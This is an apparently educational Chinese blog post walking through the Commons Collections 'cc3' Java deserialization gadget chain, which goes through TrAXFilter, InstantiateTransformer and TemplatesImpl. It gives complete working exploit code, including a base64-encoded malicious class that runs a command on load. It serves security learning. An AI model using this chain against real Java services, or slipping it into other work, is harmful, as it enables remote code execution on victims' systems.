cc3鏈:TrAXFilter在構造方法中載入位元組碼

aixve發表於2024-06-12

cc1的終點InvokerTransformer如果被拉黑了怎麼辦?

這就是cc3出現的機緣

回顧一下cc1的org.apache.commons.collections.functors.InstantiateTransformer

InvokerTransformer的transform方法會接受一個物件輸入,然後透過反射呼叫該物件的某個方法

那麼有沒有功能類似的類呢?有的,那就是InstantiateTransformer

InstantiateTransformer的transform方法會接受一個物件輸入,然後呼叫構造方法

唯一不同點是一個是呼叫任意方法,一個是呼叫構造方法。

任意方法好說啊,我們可以用Runtime.getRuntime().exec來執行命令,如果換成構造方法的話,有什麼類的構造方法可以執行命令呢?這裡我們不要把目光侷限在Runtime.getRuntime().exec上面,如果構造方法可以動態載入位元組碼的話,那麼我們就可以自己寫一個惡意類載入進去,在初始化模組直接呼叫Runtime.getRuntime().exec

這個類就是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

TrAXFilter

其構造方法中呼叫了templates.newTransformer()

這不就是我們之前說的動態載入位元組碼嗎,這一載入就能rce了

image

首先製作一個惡意類

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {

    static {
        try {
            System.out.println("    [+]calc類的靜態初始化模組,呼叫Runtime.getRuntime().exec(\"calc.exe\");");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

之後先執行一次程式,獲取Calc.java

在其目錄下certutil -f -encode Calc.class class.base64獲取位元組碼

編寫主函式

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      //Calc a=new Calc();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgA" +
                "MgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUB" +
                "ABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0NhbGM7" +
                "AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJu" +
                "YWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9z" +
                "ZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1M" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAho" +
                "YW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJp" +
                "YWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADUBAKYo" +
                "TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRv" +
                "cjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1Nl" +
                "cmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcv" +
                "YXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRs" +
                "ZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVy" +
                "L1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lv" +
                "L0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADEBAApTb3VyY2VGaWxlAQAJ" +
                "Q2FsYy5qYXZhDAAMAA0HADYMADcAOAEAVSAgICBbK11jYWxj57G755qE6Z2Z5oCB" +
                "5Yid5aeL5YyW5qih5Z2X77yM6LCD55SoUnVudGltZS5nZXRSdW50aW1lKCkuZXhl" +
                "YygiY2FsYy5leGUiKTsHADkMADoAOwcAPAwAPQA+AQAIY2FsYy5leGUMAD8AQAEA" +
                "E2phdmEvaW8vSU9FeGNlcHRpb24MAEEADQEAEG9yZy9leGFtcGxlL0NhbGMBAEBj" +
                "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9B" +
                "YnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVy" +
                "bmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEA" +
                "A291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJl" +
                "YW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5n" +
                "L1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE" +
                "ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEA" +
                "D3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAABAABAAwADQABAA4AAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIADwAAAAYAAQAAAAsAEAAAAAwAAQAAAAUAEQASAAAAAQATABQA" +
                "AgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABkAEAAAACAAAwAAAAEAEQAS" +
                "AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAOAAAASQAA" +
                "AAQAAAABsQAAAAIADwAAAAYAAQAAAB4AEAAAACoABAAAAAEAEQASAAAAAAABABUA" +
                "FgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAIAANAAEADgAAAG0A" +
                "AgABAAAAGrIAAhIDtgAEuAAFEga2AAdXpwAISyq2AAmxAAEAAAARABQACAADAA8A" +
                "AAAaAAYAAAAPAAgAEAARABMAFAARABUAEgAZABQAEAAAAAwAAQAVAAQAIQAiAAAA" +
                "IwAAAAcAAlQHACQEAAEAJQAAAAIAJg==");
        TemplatesImpl obj = new TemplatesImpl();
        // 設定位元組碼及其對應類名
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "Calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
       // Object o = obj.newTransformer();
        // 構造Payload
        System.out.println("[+]構造TrAXFilter");
        ConstantTransformer a= new ConstantTransformer(TrAXFilter.class);
        System.out.println("[+]構造InstantiateTransformer");
        InstantiateTransformer b=new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] {obj}
        );

        Transformer[] transformers = new Transformer[] {a, b};
        // 宣告一個fakeTransformers
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        // 將fakeTransformers存入ChainedTransformer這個繼承類(鏈式Transformer)
        System.out.println("[+]構造transformerChain");
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 建立Map並繫結transformerChain
        Map innerMap = new HashMap();
        // 對Map做修飾,使其在觸發get時,可以執行一個回撥(即執行transformerChain鏈)
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        // 建立tiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "K");
        // 建立用於反序列化的Map,key為TiedMapEntry物件
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry, "V");
        outerMap.remove("K");

        // 反射修改transformerChain裡的內容(改為惡意payload)
        System.out.println("[+]將真正的惡意payload反射輸入到ChainedTransformer中");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);

        // 序列化
        System.out.println("[+]序列化");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        // 反序列化
        System.out.println("[+]反序列化");
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }


}

執行結果

image

相關文章